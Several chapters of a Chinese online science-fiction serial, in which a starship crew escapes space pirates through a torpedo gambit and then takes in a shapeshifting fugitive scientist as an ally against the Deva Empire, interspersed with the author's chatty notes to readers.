闻铮抬了抬眼皮：“这位星盗首领，我替你省点力气，你直接去扫描位于我们四号甲板的相位穿梭准备间，你要的东西已经在那里了。” 魁斗女人意义不明地哼了一声，她身边的另一个魁斗星盗——看上去是她的大副——低头和她说了什么，她眯起了眼睛：“我看到有一堆植物在你的准备间，如果你敢骗我——” “你就把我们扔到γ-3星球上，你刚刚已经说过了。”闻铮道，“安全码是OUY2345PYU，希望你可以信守交易内容。” “当然。”魁斗女人咧开嘴，“你和魁斗星盗做交易，还有什么不放心的呢。” 哪怕在这种紧张的时候，破晓号舰桥上的三个人都忍不住在心里翻白眼，魁斗星盗是最无耻的种族，这种话也说得出来，到底要不要脸。 对方结束了通讯，黎晓的声音在舰桥里响起，有些紧张：“闻哥！他们已经锁定这批蓟梨草了！” 闻铮站起来，声音沉稳地进行指挥：“凯利斯，对准他们的武器舱发射三枚光子鱼雷。相位穿梭的时候他们的防护罩必须降下来才能接收，这是我们唯一的机会。” “是！” 战术官在面板上进行操作，给出预警：“五秒后鱼雷发出，预计八秒后到达魁斗星盗舰武器舱。” “黎晓，七秒后中断相位穿梭信号。” “裴简珩，十秒后进入空间迁跃最高模式，引擎动力开到最大，带我们走。” 裴简珩双手快如闪电般地操作，那汪蓝色的眼底却异常明亮。 不愧是第三军团之刃，不愧是闻哥！ 居然能在这么短的时间内找到唯一的生路！ 防护罩开启的时候，他们是无法进入空间迁跃模式的。 而如果在魁斗星盗面前贸然降下防护罩，一方面无法保证自己的安全，另一方面，收起防护罩的行为也会让他们的目的昭然若揭，魁斗星盗很有可能会在他们进入空间迁跃之前就轰了过来。 而通过这种方式，他们降下防护罩的行为变得十分正当——不然怎么把东西给你们？ 而接下来…… “首领！” 一个虎背熊腰的魁斗人在舰桥指挥室猛地抬头：“相位穿梭失败，信号中断了！” “你说什么？！” 星盗首领猛地站起来：“是他们主动取消的？” “不知道，因为信号突然消失了！” “给我再次锁定，发起相位穿梭——” “轰——！！” 舰桥受到了猛烈的冲击，星盗女首领差点没站住，她猛地大喊：“什么情况？？损伤报告！！” 其他魁斗星盗汇报：“首领，我们的武器舱受到了攻击，43%损伤——他妈的这帮杂种，他们趁我们取消防护罩的时候攻击我们！” 星盗女首领脸色狰狞起来：“杂种！敢骗老娘，我要你死！” “给我锁定他们，发射五发光子鱼雷，我要他们死无全尸！！！” …… 凯利斯一边操作着仪表盘，一边看着数据：“闻哥，他们正在用光子鱼雷锁定我们。” “裴简珩，就现在！” 听到闻铮的命令，裴简珩立刻按下操作按钮，破晓号舰身一震，立刻进入了空间迁跃模式，在五发光子鱼雷打过来的前一秒，瞬间在魁斗星盗面前消失！ 死里逃生，所有人都大大松了一口气。 而本应该也放松下来的闻铮，却倏地感觉后颈汗毛直立，鸡皮疙瘩也从天灵感似乎蔓延到四肢末节，让他有一种极大的危险之感—— 下一秒，随着闻铮心脏漏跳一拍，整艘星舰倏地剧烈一抖，随后停滞不动。 裴简珩猛地转过身来：“闻哥！我们被迫退出空间迁跃模式了！” 闻铮接通和轮机室的通讯：“黎晓，怎么回事？” “我、我不知道，它——空间迁跃核又停止工作了，我看数值还是加载过热，强行终止了空间迁跃！” 黎晓的声音带着恐慌和颤抖，显然他也很清楚，在这个时刻，无法进入空间迁跃模式到底意味着什么…… 但怎么会呢？？ 他和闻哥都是因为怕这种情况发生，所以先前都没有进入空间迁跃模式，就是担心万一动力出现什么问题，他们将不得不在中立区徘徊停滞一段时间，风险更大。 结果明明没有过度使用，居然又加载过热？！这怎么可能！ 闻铮轻轻咬了咬右侧口腔内壁，又问：“目前坐标在哪里？” 裴简珩沉默了一下，才道：“还不够远，还在魁斗星盗舰的扫描范围内。” 果不其然，半分钟后，那艘巨大的钢铁心脏又出现在他们眼前，显然是追了上来。 闻铮让凯利斯开启了防护罩，但他心里很清楚，他们的武器只剩下一发光子鱼雷和相位炮阵列，这无异于是以卵击石。 还能有什么办法……还能有什么办法…… 凯利斯的声音有些紧绷：“闻哥，他们正在用武器锁定我们——他们在呼叫我们，要接通吗？” 闻铮思忖一秒，接通了。 魁斗女首领的脸又出现在了屏幕上，带着愤怒与嘲弄：“我还以为你有多大的本事，不是照样逃不掉吗？我会让你知道，你会为了骗我而付出多大的代价！” 闻铮抬眼看向她：“在中立区对星舰军部的人动手，你是准备代表魁斗人对联邦军部宣战吗？” “我没有，是你先动的手。” 魁斗女首领狡猾一笑：“我什么都没做，你们先对我们使用了光子鱼雷，就算联邦军部找过来，理亏的可不是我！” 此话一出，她的手下们纷纷大笑起来。 闻铮指尖发冷，他意识到眼前这个魁斗女首领虽然看似粗犷匪气，其实心思细腻，如果不是目前对立的局面，他倒是很欣赏她。 “说实话，虽然你骗了我，但我还是很欣赏你。”魁斗首领往后靠在椅背上，显然在享受胜利，“你很聪明，也很有胆识，当然，也很漂亮。这样吧，我可以考虑给你一个体面一点的死法，毕竟好久没有人能和我玩上这么一场追逐游戏了，刚刚那几个不知道是什么东西的杂种，实在是无趣至极！” 闻铮眉心微皱，他下意识察觉到她的话里好像有什么信息，但现在确实无心顾及。 魁斗女首领饶有兴味地注视着这个黑发黑眼的人类Alpha，看他踏前一步，很好奇他还能说出什么来。 闻铮用那双如墨般漆黑的眼睛，透过屏幕直直地望向她：“既然你对我感兴趣，那就用我来换我船员们的命。” 此言一出，裴简珩和凯利斯都惊愕地转过头来！ 裴简珩更是皱着眉站起来：“闻哥！您——” 魁斗首领意义不明地笑了起来：“你还真把自己当回事儿啊，你以为你还有什么和我交易的筹码吗？” “如果你不接受，”闻铮冷冷道，“我就即刻启动星舰的自毁程序，不管是增强机能的植物还是生物体都会在三秒内量子毁灭。” “你挨了三枚光子鱼雷，但我会让你连星舰零部件的螺丝都得不到。”—— 作者有话说：大家中秋节快乐！！！！ 是不是都拿到新头像和新挂件啦！看到我的文下面一群小兔子蹦蹦跳跳，可爱的我心都化了[星星眼] 贴贴宝宝们[亲亲][亲亲] 第78章 异变突生 星盗女首领沉默了一瞬, 随后扬起了一个欣赏的笑容：“我没看错，你真的很有意思，否则我这儿也不会有人说想要你, 好吧, 我同意了。” 闻铮挂断了通讯，舰桥陷入一瞬间的沉默, 凌乱的脚步声传来，是赫尔和黎晓听到通讯后, 急匆匆地跑了过来。 “闻哥，他们是法外之徒, ”凯利斯眉头皱得能打结，“你绝对不能过去！否则你知道你面对的会是什么吗？” 闻铮抬眼看他, 反问道：“你还有别的办法吗？” 凯利斯沉默。 “……我和您一起去。”裴简珩轻声道, “我想不到别的办法可以破局, 但起码无论即将面对什么, 我都可以和您一起承担。” 闻铮把目光落在他身上, 下意识地笑了一下，那个笑容里是他自己都没意识到的温和。 好像自从裴简珩出现以来, 他最经常说的一句话就是“我和您一起”。 就连这次也是一样，此去九死一生, 但好像这也完全无法阻拦他执意和闻铮共进退，同生死。 到了这一刻，闻铮突然发现，他对裴简珩的那些不信任和顾虑，有多么的固执己见和薄弱可笑。 这个Alpha还如此年轻，却愿意抛下所有，甚至是自己的生命, 只为了陪闻铮一次又一次地赴汤蹈火。 如果连这样的裴简珩，闻铮都无法再给予信任，那他实在不知道，自己这一生还能再相信什么人。 只是他还这么年轻，不能和自己一样留在这里。 闻铮垂下眼，再次抬起的时候已经抹去了其他思绪，只是吐出了一句：“请求驳回。” 裴简珩一怔，上前一步似乎要拉住闻铮的胳膊：“闻哥——” “你是这里唯一能熟悉驾驶星舰的人，你需要带着他们安全地离开。万一魁斗星盗不遵守承诺，你是这里最高的战力。” 闻铮的目光扫过剩下四个人，轻声叹息：“你们都不是现役军官了，本可以过上平静的生活，是我或利诱或煽动你们和我一起冒这个险，是我对不起你们在先，不能再让你们把命留在这里。” 他原以为为了得到想要的结果，自己已经可以做到不择手段地利用他人，但临了临了，依然过不去心里那一关。 “我很喜欢你们人类古老东方的文化，”赫尔突然出声，“曾经学过一句话，叫’覆巢之下，焉有完卵’。德瓦人如果真的挑起了第三次星际战争，我们还哪里有平静的生活？” “所以才要在战争之前扼断苗头。”闻铮道，“你们带着蓟梨草回去，查明白德瓦人到底要做什么，然后尽全力阻止这一切的发生。” 他最后对他们笑了笑，右颊边的小梨涡漂亮又可爱：“不用担心我，我会想办法活下来的。” 黎晓转过头去，擦掉了颊边的泪水。 “……” “……滴。” “……滴……滴……滴……” 在这一片低沉的静默里，闻铮好像听到了什么：“凯利斯，是你的侦查系统在响吗？” 凯利斯喘了口气，回过神后立刻冲到仪表台上，看到画面以后瞪大了眼睛：“……操啊……” 他转过头来看向闻铮，碧绿的眼底有着震惊：“闻哥，有一艘星舰正在快速接近这里，预计三秒后到达！” 闻铮倏地一震，快步走到侦查仪表盘前：“什么星舰？联邦军舰吗？” 凯利斯摇头：“不——” 他一边回答，另一边快速操作升起了防护罩。 三秒后，防护罩刚刚100%加载完成，他们眼前的太空中就蓦地出现了一艘有魁斗星盗星舰三倍大的战舰！ 闻铮看了过去，一颗心沉了又沉。 凯利斯声音沙哑：“——是德瓦战舰。” …… 静谧无边的太空中，一艘三倍于魁斗钢铁之心，六倍于破晓号的德瓦军用战舰，倏地出现在了这里，赫然形成了三方对峙之态。 破晓号上所有人都是脸色巨变，闻铮却恰恰相反，在德瓦战舰出现的一瞬间，他的心脏确实停跳一拍，但随之而来的对峙局面，让他似乎窥视到了一线生机。 按照德瓦帝国和联邦的关系，一旦打了照面，德瓦战舰绝对会采取主动权，尤其是现在还在中立区，不涉及到在对方领空挑起战争的情况，德瓦军队更是不会有任何顾虑！ 而时间已经过去了三分钟，德瓦战舰没有任何动作，魁斗星盗也没有任何反应。 闻铮把手里能打的牌都在脑海中演练了一遍，沉声道：“凯利斯，呼叫德瓦战舰。” 所有人都是一惊！ 凯利斯张了张嘴，还是照做了，只是…… “闻哥，德瓦战舰拒绝了我们的呼叫。” 闻铮微微皱眉，他们既不主动开火，表达出一种似乎可以沟通的态度，又拒绝自己的通讯呼叫，这到底是…… 下一秒，凯利斯又艰难开口：“德瓦战舰……锁定了魁斗星盗舰。” 闻铮一怔，他脑子动得很快：“裴简珩，退后到安全范围，以免被冲击波造成连带伤害。” 他转向黎晓：“我们的空间迁跃动力什么时候可以恢复？” 黎晓连忙打开了轮机室控制面板，咬咬牙：“最快也还要二十分钟。” “在交火过程中，为了集中火力，魁斗星盗有可能会解除对我们的武器锁定。凯利斯，如果他们解除锁定，立刻进入隐形模式。” “是！” 闻铮缓缓地重新坐回到舰长椅上：“让我们来祈祷，他们能互相打上二十分钟。” 话音刚落，连续八九枚光子鱼雷就从德瓦战舰飞向了魁斗钢铁心脏，眨眼间就打破了他们的防护罩！ 从舰桥的落地窗望出去，这片太空里瞬间战火漫天！ 闻铮预估的非常准确，在连续吃了德瓦战舰八颗光子鱼雷之后，魁斗钢铁之心毫无办法，只能选择解除对破晓号的武器锁定，转而把所有武器都对准德瓦战舰。 魁斗女首领看着下一秒便立刻消失不见的破晓号，咬牙切齿，她很清楚这艘联邦侦察舰进入了隐身模式，但她此刻的确无暇顾及。 “首领，我们的防护罩已经完全破损！” “首领，三号、五号、六号甲板均已损坏！” “首领，我们的动力只剩下55%！” 她气急败坏地咒骂：“干他的德瓦畜生！不打联邦星舰打我们干什么！” 她的大副站了起来，有些慌张：“首领，那我们现在怎么办——” 魁斗女首领一脚踹了过去：“蠢货！问什么问！自己不会动脑子想啊！把我们所有武器全都瞄准发射出去，找机会跑啊！” “——是！” 她骂骂咧咧地把目光移向了角落暗处的一个人影，吐了口气：“这个人我今天是给你抓不过来了，有点难搞。” 角落里传来一个轻柔的女声：“没关系，感谢您的挂念，还会有机会的。” 凯利斯在操作破晓号进入隐身模式以后，就开始密切关注德瓦战舰和魁斗钢铁之心的攻击情况，在数到第12颗鱼雷的时候，他转身报告：“闻哥，魁斗星盗已经没有剩余鱼雷了，如果德瓦战舰继续攻击，他们只能弃船逃命了。” 闻铮看了下时间，这才14分钟。 黎晓回到了轮机室准备重新启动空间迁跃模式，赫尔干脆留在了舰桥上，他站在闻铮的舰长椅旁边，微微皱眉：“我不明白，德瓦战舰为什么不攻击我们而攻击魁斗星盗？他们和魁斗人的关系虽然说不上好，但因为有共同的祖先，也绝不会到这种致他们于死地的程度。” 闻铮也摇头：“是很奇怪，我也不懂。” 这时，大屏幕上能看到几十艘逃生舰从魁斗钢铁之心上飞了出来，凯利斯问：“闻哥，我们还有相位炮列阵，要把他们打下来吗？” 闻铮想到刚才那个魁斗女首领说的那些语焉不详的话，从“刚刚那几个不知道是什么东西的杂种”到“我这儿也有人想要你”，直觉告诉他，这个女首领似乎知道很多事情，但…… “不用，如果锁定他们开了相位炮，反而会暴露我们的坐标。” 目前的首要目的是全身而退，其他的都可以容后再说。 而德瓦战舰竟然也没有要赶尽杀绝的意思，放任这几十艘逃生舰仓皇逃离。 刚刚还炮火满天的太空战场，现在又重新归于死寂。 破晓号隐身在外围蛰伏，还剩下4分钟就可以重新进入空间迁跃模式，所有人都屏住了呼吸。 4分钟…… 3分钟…… 2分钟—— “滴滴滴”的声音响起，凯利斯深吸一口气：“闻哥，德瓦战舰在呼叫我们。” 闻铮早猜到不可能这么顺利地逃脱，但没想到刚刚还拒绝他们通讯的德瓦战舰，现在为什么又在主动呼叫他们？ 并且虽然他们处于隐身状态，但很明显德瓦战舰已经察觉到了他们的坐标，否则无法进行呼叫。 躲是躲不过的，闻铮坦然道：“接通。” 凯利斯操作了几下，舰桥上的四个人都做好了和德瓦人直接通讯的准备，裴简珩还顺手打开了舰桥上的进阶通用翻译器。 毕竟德瓦语晦涩难懂，个人通讯自带的通用翻译经常无法准确识别，而联邦军部自带的翻译器会准确很多。 通讯接通后，主屏幕上出现了德瓦战舰舰长的面容—— 作者有话说：有奖问答： Q：德瓦战舰的舰长是谁？（提示：前文21w字内有出场） A. 奥克斯·奴瓦辛戈 B. 向星苑 C. 段洄 D. 其他___（请填写答案） 第79章 不用谢 在看到德瓦战舰舰长面容的一瞬间, 破晓号上所有人都是一怔。 高挑的身材，蜜棕色的卷发，姣好的面容。 茱莉对他们微微一笑：“不用谢, 闻指挥官。” 闻铮眯起眼：“……果然是你。” 这次换茱莉讶异了：“你知道我会来？” 拿起此前随手放在舰长椅扶手上的小熊玩偶, 闻铮轻轻摆弄着它：“如果你不来，这只熊不是就派不上用场了吗？” “我用了我自己研究的定位技术, 你们船上唯一懂物理的只有那位中途辍学的小朋友，绝对不可能发现。”茱莉的态度非常武断, “你是什么时候知道的？” “现在。” 闻铮施施然道，把小熊玩偶扔到一边, 面露微笑：“我不知道你是谁，也不知道你到底会在什么时候来, 但我知道你不是一个普普通通的酒店前台管家, 所以这只熊也不是一只普普通通的玩偶。” 茱莉眉心微沉：“……你诈我。” “你是Beta, 所以你也知道我们人类有一句话叫做兵不厌诈。”闻铮道, “从你刚刚对魁斗星盗出手的行为判断, 你似乎也不是抱有敌意前来，所以你的目的是什么？” “Beta？”茱莉笑了起来, “闻指挥官确定吗？” 她这么问，让闻铮有些意外。 而屏幕上的棕发女人, 右手按上了额角，在眨眼之间，俨然变成了蓝色皮肤的种族。 “魁斗酒好喝吗？” 莱克尔店主对他们眨了眨眼睛：“除了魁斗酒，我还给了你们秒卡酒，那东西可是违禁物，偷偷喝了要被抓的哦。” 所有人都目瞪口呆，在电光火石之间, 闻铮想起他跟踪茱莉的那天夜里，棕发女人进了死胡同就消失了，而唯一曾经从里面出来过的人，就是一个莱克尔人！ 只是那个莱克尔人并不是店主，所以闻铮也没有把他们联想到一起。 这么看来，如果茱莉和莱克尔店主是同一个人，那就完全可以解释，为什么他们到了特安斯特-B之后，一切都进行的那么顺利！ 茱莉在酒店为他们办理了入住，知道了暗影组来到了特安斯特-B，随后又处心积虑地伪造了莱克尔店主的身份，为他们牵线搭桥，暗中推动他们跟踪这一批德瓦势力，现在又开着德瓦战舰在千钧一发之际“救”了他们……为什么？ 闻铮沉下脸：“人类、莱克尔人、你还开着德瓦战舰……你到底是什么人？” “……克米恩人。” 低沉的声音响起，竟然是裴简珩。 他站了起来，震惊地看向主屏幕上的茱莉，喃喃道：“……你是克米恩人。” 闻铮这才恍然！ 没错！ 能够随意变化外形的种族，只有已经被联邦宣布种族灭绝的克米恩人！ 裴简珩的话好像刺痛了茱莉，她垂下眼睫掩住眼底巨大的哀痛：“是的，裴中校，我是克米恩人。” 她又抬眼看向了裴简珩，又看了看赫尔，轻声道：“我知道二位曾经参战了克米恩保卫战，你们都尝试救了很多我的族人，虽然这无法逆转克米恩人灭绝的结果，但我依然感谢二位为我们做的一切。” 裴简珩哑然，他脑海中似乎又浮现了当年克米恩大屠杀那种血淋淋的惨烈场面，而当这个种群唯一的幸存者出现在眼前的时候，他竟然也一时无言。 曾经的战地医疗官赫尔也眼底微红，没有人能经历过那一切后还对幸存者无动于衷：“你……你是怎么逃脱的？” “战争发生的时候，我不在克米恩星。”茱莉轻声道，“等我知道我的母星、我的种族都已灭绝的时候，一切都太晚了。” 因为克米恩星曾经是联邦科技最发达的行星之一，很少有克米恩人会愿意离开母星去外面发展。也因此，在克米恩大屠杀之后，几乎没有幸存的克米恩人，哪怕有，大多也出于各种原因改换了身份，隐姓埋名地生活。 气氛变得严肃低沉，但确实少了几分剑拔弩张的防备，毕竟克米恩人和德瓦人的仇恨不共戴天，绝不可能归顺德瓦势力。 闻铮轻轻打破了沉默：“你费了这么多的心思，还搞了一艘德瓦战舰冒着风险来救我们，不只是为了表达你的谢意吧？” 茱莉眼底还有未退去的伤痛，面上却笑了：“当然，我是来寻求帮助与合作的。” 帮助与合作？ 闻铮把这句话在嘴里过了两遍，方才道：“合作我可以理解，你恨德瓦人，想和暗影组结成同盟也正常。帮助又从何谈起？” “嗯……与其说是寻求帮助，不如说是寻求庇护。”依然顶着莱克尔店主外貌的茱莉说，“你接纳我，我可以对你很有用。” 闻铮扬眉：“怎么说？” 茱莉的右手又按上了额角，又是一眨眼的功夫，眼前的莱克尔店主再次转变了形象——红色卷发，戴着眼镜，是一位看上去颇有几分学院派气质的人类男性Alpha。 闻铮这下是真的震惊到站了起来，而还没等他说什么，一旁刚刚从轮机室赶来的黎晓先一步失声惊叫：“——程迹？！” 那个暗影组名义上前来缉捕的联邦逃犯，因’反联邦人道主义武器研究’与’反联邦人道主义基因工程研究’的罪名，四年前被军事法庭宣判四千七百二十一年刑期的程迹？！ 那个年仅38岁，就能将空间迁跃技术从LV.3进化到LV.7，是所有轮机师偶像的程迹？！ 凯利斯瞥了一眼黎晓，很担心他下一秒会激动地晕过去。 红发青年对他笑了笑：“这下你知道，为什么我会来向你寻求庇护，以及我能为你做什么了吧？” 闻铮感觉太阳穴一突一突地跳，事情的发展有点超越他的预期。但他没有顺着程迹的思路走，而是反问道：“你是联邦最高通缉令的逃犯，我只是一个偏远星球小型侦查机构的指挥官，你凭什么认为，我会有能力庇护你？” “别开玩笑了，”程迹道，“骗骗别人就算了，我可是很清楚你的能力的。” “——闻舰长。” …… 交谈暂时中止，破晓号召开全舰五人大会。 在针对是否要接受程迹的问题上，出乎闻铮意料，只有凯利斯投了反对票。 他有些惊讶：“你们对于一个联邦军事逃犯的接纳度这么高？” 赫尔叹了口气：“他是克米恩人，就算死也不会投靠德瓦人，保不准是这艘船上立场最坚定的那一个。” 凯利斯立刻反对：“……你表达意见就可以了，禁止拉踩。” 赫尔白他一眼。 黎晓的眼睛亮亮的，闻铮一眼扫过去就知道这孩子根本不会投反对票，估摸着看到程迹的第一眼就想蹭过去抒发对偶像的崇拜之情了。 不过…… 闻铮想起黎晓曾经和他说过，这艘船上最好还有第二个懂物理的人，不然这时不时就加载过热的引擎和空间迁跃动力核，确实是个很大的隐患。 凯利斯摸了摸下巴：“我其实比较持保留意见，他虽然有个极聪明的脑子，但同样身上也背着四千七百二十一年的刑期，我们不知道他到底做了什么，也不知道会给我们带来怎样的影响。” 闻铮把目光看向了一直沉默的裴简珩，出声问：“裴简珩，你的意见呢？” 裴简珩似乎被这句话唤回了思绪，斟酌了一下才开口：“我觉得您对于他的目的和风险会有自己的判断，我只是在想，说不定他对这股德瓦势力和蓟梨草相关的信息，比我们了解到的要多很多。” “哪怕他有意在暗中引导我们，但一直以来，他和这些人魁斗酒的生意不是假的，那几个艾尼默人也明显对他很熟悉，如果不是掌握了什么信息，他不会引导我们来查的。” 闻铮颔首，裴简珩说的正是他心里想的。 程迹这个人，本身确实有一定的风险，但和他能带来的价值相比，似乎也值得赌一把。 闻铮身上固然背着双亲之仇，程迹身上更是承载着种族灭绝之恨。 不管怎样，敌人的敌人，就算不是朋友，也能因为有着共同的目标而成为临时战略同盟。 更何况，刚才程迹最后说的那句话，很明显是话中有话。 其他人也许听不出来，但他直视着程迹那双灰色的眼睛，很清楚他的言外之意。 这个克米恩人，知道自己是当年第三军团的上将，悬空号的闻舰长。 看样子，这个秘密倒是也守不住多久了。 闻铮垂眼看了看手腕上通讯显示的日期，哂然。 和约定的时间确实也不剩多久，第三军团之刃这个秘密，也快到时候了。 …… 和德瓦战舰的通讯又一次接通，程迹推了推黑框眼镜：“讨论好了吗？没想到闻指挥官和传闻中的不太一样，还挺民主的。” “我不知道你从哪里听到的传闻，”闻铮的声音很平静，但也隐隐藏着只有他们两个互相才懂的机锋，“但你认错人了。” 裴简珩坐在舵手的位置上，动作一顿。 “……噢。”程迹的智商差不多是这些人的两倍还多，他立刻明白过来，微微一笑，“原来如此，那我道个歉。” 右手食指和中指下意识地在扶手上敲打了几下，闻铮道：“安全码给我，我会把你相位穿梭到我的船上。” 顿了一下，他又问：“你的船上有多少船员？都是什么种族，是否值得信任？” “你放心，闻指挥官。”程迹把画面扩大到舰桥全景，“这艘船上只有我一个人。”—— 作者有话说：诶嘿嘿嘿嘿嘿，想不到吧.jpg[狗头] 答案是D.其他（程迹/茱莉/莱克尔店长） 你们怎么都不选D啊！D这个选项放在那里就是在暗示大家了[狗头]没人猜对，我把奖品独吞[墨镜] 破晓号四人组→五人组→六人组→？？？ 论一个草台班子的演化过程（bushi 后面俺们闻哥会带着破晓号草台班子杀回首都星和星际舰队的！ —— 感谢珍白雪w、34402499、西江月的营养液！ 掉落小熊玩偶x1！ 第80章 我只要一个人的命 只有你……一个人？ 闻铮沉默, 半晌才迟疑地问：“你一个人，能驾驶这么大的一艘德瓦战舰？” 程迹轻快地笑了起来：“我现在邀请你们登舰，你们也会心存疑虑。等我们把具体细节都商量好, 欢迎你们来参观。” 他示意了一下背后的舰桥：“这艘星舰只有外观是架构是德瓦战舰, 里面都被我改装过，只需要很少的人就可以驾驭, 哪怕只有一个人——当然，这是极端情况, 并不建议，除非你和我一样是改装它的人。” 这次不只是闻铮, 破晓号上所有人连一句话都说不出来。 程迹……到底是多么可怕的一个人，他一个人就能把一艘需要200人才能驾驶的德瓦战舰改造成单人自行车…… 凯利斯小声地嘶了一下：“我知道你很激动, 但你能不能掐你自己的腿？” 黎晓在他旁边, 激动地直掐腿。 闻铮也没有再说什么, 只是站起来示意黎晓和他一起去相位穿梭间：“我会把你穿梭过来, 三分钟后见。” 程迹颔首, 关闭了视频通讯。 裴简珩转过身来，刚要说什么, 就看见闻铮把相位枪解锁揣进了后腰里，于是把嘴又闭上了。 也对, 这可是闻哥，怎么可能这么轻易地相信他人。 “凯利斯，你也来。”闻铮对他招了招手，“虽然他只是个科学家，不是战士。但我还是希望你对他进行一次彻底的安检和扫描。” 凯利斯立刻从战术台下面拿出扫描仪。 眼看着他们三个走出去，舰桥上只剩下裴简珩和赫尔。 艾尔文医疗官叹了口气：“在克米恩大屠杀之后，我真的没想到还会再遇见幸存的克米恩人。” 裴简珩也有些怅然, 摇摇头：“正因为他是克米恩人，有着变换外形的能力和奇高的智商，才能从联邦法则之塔中越狱出来，并且一直没有被抓到。” 赫尔又说了一句什么，裴简珩没有听清，因为他突然想到了一件事。 程迹被定罪的罪名有两个，一个是’反联邦人道主义武器研究’，另一个则是’反联邦人道主义基因工程研究’。 基因工程研究…… 刺眼的白光、难闻的液体、剥皮蚀骨般的剧痛在这个瞬间猛地袭来，让他禁不住后退一步，抵到了驾驶台上。 “……裴简珩？” “——裴简珩！” 赫尔的厉声呼喊让他猛地惊醒，循着声音下意识看去，裴简珩在赫尔那双淡紫色的眼睛里看见了自己惨白的脸。 “你怎么了？” 赫尔掏出了自己随身携带的医疗扫描仪就要上手检查：“……你是信息素还是——” “不，”裴简珩轻轻格开了他的手，“我身体没有不舒服。” 赫尔和他是多年的好友和生死之交，怎么可能听不出他的言外之意，一时之间欲言又止：“你想到了那个时候，是不是？” 裴简珩没有说话，那种口鼻窒息的感觉逐渐褪去，让他慢慢地能够恢复呼吸。 不知道为什么，他总有一种感觉，程迹知道的真相，绝对比他们要多得多。 …… 三分钟后，程迹出现在破晓号的相位穿梭间。 闻铮看着这位联邦重犯，有一种不知从何槽起的无力感。 无他，只是这位有着一张清秀又有几分书卷气的顶级科学家，却有着和娃娃脸极为不相称的身高。 手长脚长，估计也就比裴简珩矮一点点。 不知为何，闻铮想到小时候被沈亦映和闻衡之带去古生物博物馆参观，里面有一种远古动物叫……北极兔？ “闻指挥官。”程迹对他礼貌地笑了笑，“百闻不如一见。” ……笑起来更像北极兔了。 闻铮把自己脑子里那些莫名其妙的想法丢开，对他颔首：“程少将。” “您开玩笑了。” 程迹一边举起双手让凯利斯对他进行安检扫描，一边慢慢道：“我现在是联邦逃犯，早已没有军衔了。是我要感谢您愿意冒着风险接纳我才对。” “与其说是接纳，不如说是互相利用。”闻铮倒也是十分直白，“基于共同目的和利益的临时同盟，这种关系也许会更加牢固。” 凯利斯对闻铮点了点头，示意程迹身上没有什么异样。 闻铮对他示意了一下临时会议室的方向：“坐下聊聊？” “当然。”程迹欣然应允，在转身之际，他瞥见了正在相位穿梭操作台后面站着的清秀Omega，伸手隔空点了点他，“我认得你，某一年我去星舰军校做过一场讲座，你提了一个问题，我对你的印象非常深刻。” 黎晓“唰”的一下，脸红到耳朵根，马上就要燃起来了，有些嗫喏：“是、是的，程少将。” 凯利斯惊异地看了一眼黎晓——哟，这刺头一样的人还有这一面啊。 “小朋友，你非常有天赋，”程迹对他缓慢地眨了一下左眼，“我很期待可以和你有更多的交流。” 黎晓这回看上去是真的马上就要喘不上气了。 闻铮当机立断地把北极兔请出相位穿梭间，再不出去自己估摸着要痛失轮机长了。 进到临时会议室里，闻铮示意程迹先坐，还从物质复制机里给他倒了杯水。 “谢谢。”程迹道，“您确实和传闻中不太一样，闻上将。” 闻铮给自己倒水的动作一顿，也没有否认：“你果然知道，我也就不装了，但你是怎么知道我的踪迹的？” “您隐藏得很好，就连星舰军部的人都不知道您去了哪里，我能知道也是因为我有很多暗线，”程迹淡淡道，“幸存的克米恩人散落到了各个星系，您不会知道和您擦肩而过的哪个人类、特劳特人或艾尼默人，就会是我的族人。” 闻铮目光幽深地看了他一会儿，也没有再追问，只是道：“如果我们想要合作，就必须清楚对方的最终目的。你的目的是什么？杀光所有的德瓦人，为你的种族复仇？” 程迹也回望着他，透明镜片背后的眼神也毫无避让之意：“如果我说是的话，您就不会和我合作了吧？” 闻铮心底一颤。 “从我个人的角度，我当然想德瓦人死，我想要我族人经历过的痛苦和死亡，一样一样地让德瓦人也尝过一遍。”程迹垂下眼，“但我知道，如果要实现这个目的，就会死更多的人。” “这三年的和平来之不易，哪怕我们彼此都心知肚明这是虚假的平静。” “没有人想成为再次挑起战争的千古罪人，我相信这也是为什么闻上将在三年前突然选择退役的原因——” 闻铮抬手制止了他继续说下去，心里倏地一惊！ 这个程迹，纵观全局和看透人心的能力着实是令人震惊。 而程迹在下一刻又把话题转回到了自己身上：“曾经的我愿意承担这个罪名，只要德瓦帝国可以永远地消失，我可以烂在联邦法则之塔里。但后面我发现，这背后要付出的代价太沉重，星际联邦不愿承担，也承担不起。” 他摘下眼镜，银灰色的眼睛直直地看向闻铮：“所以我认了，我只要一个人的命。” “——德瓦帝国幕僚长，阿维尔·斯坦柯夫。” 程迹眼底浮现出巨大的伤痛与恨意：“当年是他下达了对克米恩星进行大屠杀的命令，我只、要、他、死！” 闻铮听说过这个名字，战争期间坐镇德瓦帝国母星的幕僚长，没几个人见过他，那是因为没几个人在他手里活下来。 一片沉默的房间里，只有闻铮手指轻轻敲击桌面的声音。 半晌，闻铮开口：“我希望你可以对我的身份保密。就像你说的，联邦承受不住挑起战争要付出的代价。” “我不能给你承诺什么，复仇的前提是保证和平。很残酷，但每个人都必须在家国面前做出牺牲。” 他朝程迹伸出右手：“我们有着相似的目的，先看能走到哪一步吧。” 程迹唇角动了一下，握住了闻铮的手。 下一刻，他说道：“既然如此，有很多事情你们需要知道。” 程迹松开了闻铮的手，叹息声四下逸散。 “闻上将，你所说的和平，看来是保不住了。” …… 闻铮刚发布了让全舰人员都到临时会议室集合的通知，就收到了裴简珩的通讯，他说有个私密线路的通讯拨来，应该是暗影组，但线路码又对不上，让裴简珩有些迷惑。 裴简珩迷惑，闻铮却似有所感，他让其他人先到会议室，自己却反向到了空无一人的舰桥。 舰桥的防护罩和隐形罩都已打开，目前也设定了自动驾驶路线，二十分钟内没什么问题。 闻铮走到通讯操作台前，接听了这一通神秘通讯。 “抱歉……他已经……” “……” “也许这样对他来说也是一种解脱。” “……此外……您设想的是对的……” “我……我有一个猜想，但……需要时间……” “没关系，我理解……” “……保重。” 闻铮结束了通讯，望着眼前无边无垠的太空，轻声叹息。 虽然他早就感知到德瓦帝国正在酝酿新的战争，但程迹的出现还是把他的猜测变成了现实。 在这片宇宙里，真的又将燃起新的战火了么？—— 作者有话说：众所周知，破晓号和如今的招聘市场一样，只招四类人： 1）少年将军 2）救火英雄 3）落难凤凰 4）以上三种任意叠加组合的复合型人才 欢迎大家在评论区进行连线匹配（不是《 》 80-90 第81章 他们是德瓦人 洛河星系, 7号星 留守7号星的暗影组三个人难得都在办公室，代理指挥官江悦发出共进午餐邀约，其余两人立刻响应。 